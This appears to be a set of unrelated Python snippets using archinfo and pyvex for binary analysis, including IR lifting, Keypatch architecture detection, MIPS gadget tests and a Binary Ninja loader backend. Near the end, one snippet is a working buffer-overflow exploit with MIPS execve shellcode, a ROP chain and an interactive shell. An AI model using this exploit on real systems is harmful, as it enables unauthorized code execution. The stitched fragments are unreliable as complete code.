def constructIR(binaryInst, address, arc="x86", endness="LE"): ar = archinfo.ArchX86() if arc == "x86": ar = archinfo.ArchX86() elif arc == "mips32": if endness == "LE": ar = archinfo.ArchMIPS32(archinfo.Endness.LE) else: ar = archinfo.ArchMIPS32(archinfo.Endness.BE) elif arc == "arm": ar = archinfo.ArchARM(archinfo.Endness.LE) irsb = pyvex.IRSB(data=binaryInst, mem_addr=address, arch=ar) stmts = irsb.statements irsb.pp() return stmts, irsb.jumpkind, irsb.next
def __init__(self, endianess=Endianess.LITTLE): super(ArchitectureMips,self).__init__(CS_ARCH_MIPS, CS_MODE_32, 4, 4, endianess) self._name = 'MIPS' if 'keystone' in globals(): self._ksarch = (keystone.KS_ARCH_MIPS, keystone.KS_MODE_MIPS32) if 'archinfo' in globals(): self._info = archinfo.ArchMIPS32()
def get_hardware_mode(): (arch, mode) = (None, None) info = idaapi.get_inf_structure() # heuristically detect hardware setup info = idaapi.get_inf_structure() try: cpuname = info.procname.lower() except: cpuname = info.procName.lower() try: # since IDA7 beta 3 (170724) renamed inf.mf -> is_be()/set_be() is_be = idaapi.cvar.inf.is_be() except: # older IDA versions is_be = idaapi.cvar.inf.mf # print("Keypatch BIG_ENDIAN = %s" %is_be) if cpuname == "metapc": if info.is_64bit(): arch = archinfo.ArchAMD64() mode = KS_MODE_64 elif info.is_32bit(): arch = archinfo.ArchX86() mode = KS_MODE_32 else: arch = archinfo.ArchNotFound() mode = KS_MODE_16 elif cpuname.startswith("ppc"): if info.is_64bit(): arch = archinfo.ArchPPC64() mode = KS_MODE_PPC64 else: arch = archinfo.ArchPPC32() mode = KS_MODE_PPC32 if cpuname == "ppc": # do not support Little Endian mode for PPC mode += KS_MODE_BIG_ENDIAN elif cpuname.startswith("mips"): if info.is_64bit(): arch = archinfo.ArchMIPS64() mode = KS_MODE_MIPS64 else: arch = archinfo.ArchMIPS32() mode = KS_MODE_MIPS32 elif cpuname.startswith("systemz") or cpuname.startswith("s390x"): arch = archinfo.ArchS390X() mode = KS_MODE_BIG_ENDIAN return (arch, mode)
def test_mips32_unconditional_jumps(): # 0040000c: 10000002 ; <input:28> beq $zero, $zero, LABEL_ELSE_IF # 00400010: 00000000 ; <input:31> sll $zero, $zero, 0 # 00400014: 08100012 ; <input:34> j LABEL_DONE # 00400018: <LABEL_ELSE_IF> ; <input:37> LABEL_ELSE_IF: irsb = pyvex.IRSB( data=(b"\x10\x00\x00\x02" b"\x00\x00\x00\x00"), mem_addr=0x40000C, arch=archinfo.ArchMIPS32(), num_inst=2, opt_level=0, ) assert type(irsb.next) is pyvex.expr.Const assert irsb.next.con.value == 0x400018
def test_mips(self): tests = [ ( { LoadMem: 1 }, '\x8f\xbf\x00\x10' + # lw ra,16(sp) '\x8f\xb0\x00\x08' + # lw s0,8(sp) '\x03\xe0\x00\x08' + # jr ra '\x27\xbd\x00\x20' + # addiu sp,sp,32 '\x00\x00\x00\x00'), # nop ( { LoadMem: 6, LoadMultiple: 1 }, '\x8f\xbf\x00\x44' + # lw ra,68(sp) '\x8f\xb5\x00\x3c' + # lw s5,60(sp) '\x8f\xb4\x00\x38' + # lw s4,56(sp) '\x8f\xb3\x00\x34' + # lw s3,52(sp) '\x8f\xb2\x00\x30' + # lw s2,48(sp) '\x8f\xb1\x00\x2c' + # lw s1,44(sp) '\x8f\xb0\x00\x28' + # lw s0,40(sp) '\x27\xbd\x00\x48' + # addiu sp,sp,72 '\x03\xe0\x00\x08' + # jr ra '\x00\x00\x00\x00'), # nop ( { LoadMem: 1 }, '\x8f\xb9\x00\x08' + # lw t9,8(sp) '\x8f\xbf\x00\x04' + # lw ra,4(sp) '\x03\x20\x00\x08' + # jr t9 '\x27\xbd\x00\x10' + # addiu sp,sp,16 '\x00\x20\x08\x25' + # move at, at (nop) '\x00\x20\x08\x25' + # move at, at (nop) '\x00\x20\x08\x25' + # move at, at (nop) '\x00\x20\x08\x25' + # move at, at (nop) '\x00\x20\x08\x25'), # move at, at (nop) ] self.run_test(archinfo.ArchMIPS32('Iend_BE'), tests)
def test_mips(self): arch = archinfo.ArchMIPS32('Iend_BE') tests = [ ( [ '\x8f\xbf\x00\x10\x8f\xb0\x00\x08', '\x03\xe0\x00\x08\x27\xbd\x00\x20' ], # lw ra,16(sp); lw s0,8(sp); jr ra; addiu $sp, 0x20 LoadMem, ['sp'], ['s0'], [8], ['ra'], 0x20, 0x10, True), ( [ '\x8f\xbf\x00\x44' + # lw ra,68(sp) '\x8f\xb5\x00\x3c' + # lw s5,60(sp) '\x8f\xb4\x00\x38' + # lw s4,56(sp) '\x8f\xb3\x00\x34' + # lw s3,52(sp) '\x8f\xb2\x00\x30' + # lw s2,48(sp) '\x8f\xb1\x00\x2c' + # lw s1,44(sp) '\x8f\xb0\x00\x28' + # lw s0,40(sp) '\x27\xbd\x00\x48', # addiu sp,sp,72 '\x03\xe0\x00\x08' + # jr ra '\x00\x00\x00\x00' ], # nop LoadMultiple, ['sp'], ['s0', 's1', 's2', 's3', 's4', 's5'], [0x28, 0x2c, 0x30, 0x34, 0x38, 0x3c], ['ra'], 0x48, 0x44, True) ] self.run_test(arch, tests)
class BinjaBin(Backend): """ Get information from binaries using Binary Ninja. Basing this on idabin.py, but will try to be more complete. TODO: add more features as Binary Ninja's feature set improves """ is_default = True # Tell CLE to automatically consider using the BinjaBin backend BINJA_ARCH_MAP = { "aarch64": archinfo.ArchAArch64(endness='Iend_LE'), "armv7": archinfo.ArchARMEL(endness='Iend_LE'), "thumb2": archinfo.ArchARMEL(endness='Iend_LE'), "armv7eb": archinfo.ArchARMEL(endness='Iend_BE'), "thumb2eb": archinfo.ArchARMEL(endness='Iend_BE'), "mipsel32": archinfo.ArchMIPS32(endness='Iend_LE'), "mips32": archinfo.ArchMIPS32(endness='Iend_BE'), "ppc": archinfo.ArchPPC32(endness="Iend_BE"), "ppc_le": archinfo.ArchPPC32(endness="Iend_LE"), "x86": archinfo.ArchX86(), "x86_64": archinfo.ArchAMD64() } def __init__(self, binary, *args, **kwargs): super().__init__(binary, *args, **kwargs) if not bn: raise CLEError(BINJA_NOT_INSTALLED_STR) # get_view_of_file can take a bndb or binary - wait for autoanalysis to complete self.bv = bn.BinaryViewType.get_view_of_file(binary, False) l.info("Analyzing %s, this may take some time...", binary) self.bv.update_analysis_and_wait() l.info("Analysis complete") # Note may want to add option to kick off linear sweep try: self.set_arch(self.BINJA_ARCH_MAP[self.bv.arch.name]) except KeyError: l.error("Architecture %s is not supported.", self.bv.arch.name) for seg in self.bv.segments: l.info("Adding memory for segment at %x.", seg.start) br = bn.BinaryReader(self.bv) br.seek(seg.start) data = br.read(len(seg)) self.memory.add_backer(seg.start, data) self._find_got() self._symbol_cache = {} self._init_symbol_cache() # Note: this represents the plt stub. ImportAddressSymbol refers to .got entries # Since we're not trying to import and load dependencies directly, but want to run SimProcedures, # We should use the binaryninja.SymbolType.ImportedFunctionSymbol # Also this should be generalized to get data imports, too self.raw_imports = { i.name: i.address for i in self.bv.get_symbols_of_type( bn.SymbolType.ImportedFunctionSymbol) } self._process_imports() self.exports = {} self.linking = "static" if len(self.raw_imports) == 0 else "dynamic" # We'll look for this attribute to see if we need to do SimProcedures for any imports in this binary # This is an ugly hack, but will have to use this for now until Binary Ninja exposes dependencies self.guess_simprocs = True self.guess_simprocs_hint = "nix" if self.bv.get_section_by_name( ".plt") else "win" l.warning("This backend is based on idabin.py.\n\ You may encounter unexpected behavior if:\n\ \tyour target depends on library data symbol imports, or\n\ \tlibrary imports that don't have a guess-able SimProcedure\n\ Good luck!") def _process_imports(self): ''' Process self.raw_imports into list of Relocation objects ''' if not self.raw_imports: l.warning( "No imports found - if this is a dynamically-linked binary, something probably went wrong." ) for name, addr in self.raw_imports.items(): BinjaReloc(self, self._symbol_cache[name], addr) def _init_symbol_cache(self): # Note that we could also access name, short_name, or full_name attributes for sym in self.bv.get_symbols(): cle_sym = BinjaSymbol(self, sym) self._symbol_cache[sym.raw_name] = cle_sym self.symbols.add(cle_sym) def _find_got(self): """ Locate the section (e.g. .got) that should be updated when relocating functions (that's where we want to write absolute addresses). """ sec_name = self.arch.got_section_name self.got_begin = None self.got_end = None try: got_sec = self.bv.sections[self.arch.got_section_name] self.got_begin = got_sec.start self.got_end = got_sec.end except KeyError: l.warning("No got section mapping found!") # If we reach this point, we should have the addresses if self.got_begin is None or self.got_end is None: l.warning("No section %s, is this a static binary ? (or stripped)", sec_name) return False return True @staticmethod def is_compatible(stream): if not bn: return False magic = stream.read(100) stream.seek(0) # bndb files are SQlite 3 if magic.startswith(b"SQLite format 3") and stream.name.endswith( "bndb"): return True return False def in_which_segment(self, addr): """ Return the segment name at address `addr`. """ # WARNING: if there are overlapping sections, we choose the first name. # The only scenario I've seen here is a NOBITS section that "overlaps" with another one, but # I'm not sure if that's a heurstic that should be applied here. # https://stackoverflow.com/questions/25501044/gcc-ld-overlapping-sections-tbss-init-array-in-statically-linked-elf-bin#25771838 seg = self.bv.get_sections_at(addr)[0].name return "unknown" if len(seg) == 0 else seg def get_symbol_addr(self, sym): """ Get the address of the symbol `sym` from IDA. :returns: An address. """ # sym is assumed to be the raw_name of the symbol return self.bv.get_symbol_by_raw_name(sym) def function_name(self, addr): """ Return the function name at address `addr`. """ func = self.bv.get_function_at(addr) if not func: return "UNKNOWN" return func.name @property def min_addr(self): """ Get the min address of the binary. (note: this is probably not "right") """ return self.bv.start @property def max_addr(self): """ Get the max address of the binary. """ return self.bv.end @property def entry(self): if self._custom_entry_point is not None: return self._custom_entry_point + self.mapped_base return self.bv.entry_point + self.mapped_base def get_strings(self): """ Extract strings from binary (Binary Ninja). :returns: An array of strings. """ return self.bv.get_strings() def set_got_entry(self, name, newaddr): """ Resolve import `name` with address `newaddr`. That is, update the GOT entry for `name` with `newaddr`. """ if name not in self.imports: l.warning("%s not in imports", name) return addr = self.imports[name] self.memory.pack_word(addr, newaddr) def close(self): """ Release the BinaryView we created in __init__ :return: None """ self.bv.file.close()
def skip_test_mips(self): arch = archinfo.ArchMIPS32('Iend_BE') tests = [ ] self.run_test(arch, tests)
buffer_address = struct.unpack(">I", p.read(4))[0] shellcode = ( "\x28\x06\xff\xff" + # slti a2,zero,-1 "\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "\x35\xef\x62\x69" + # ori t7,t7,0x6269 "\xaf\xaf\xff\xf4" + # sw t7,-12(sp) "\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "\x35\xce\x73\x68" + # ori t6,t6,0x7368 "\xaf\xae\xff\xf8" + # sw t6,-8(sp) "\xaf\xa0\xff\xfc" + # sw zero,-4(sp) "\x27\xa4\xff\xf4" + # addiu a0,sp,-12 "\x28\x05\xff\xff" + # slti a1,zero,-1 "\x24\x02\x0f\xab" + # li v0,4011 "\x01\x01\x01\x0c" # syscall 0x40404 ) target_address = buffer_address + 700 print "shellcode ({} bytes) address: 0x{:x}".format(len(shellcode), target_address) rop = ropme.rop_to_shellcode([(filename, None, 0)], [], target_address, archinfo.ArchMIPS32('Iend_BE'), logging.DEBUG) payload = 'A'*512 + 'B'*4 + rop payload += ((700 - len(payload)) * 'B') + shellcode payload += "JEFF" # To end our input with open("/tmp/rop", "w") as f: f.write(rop) with open("/tmp/payload", "w") as f: f.write(payload) p.writeline(payload) p.interactive()
def __init__(self, arch=archinfo.ArchMIPS32(), project=None): # pylint:disable=unused-argument super(MipsElfFastResolver, self).__init__(arch=arch, timeless=True)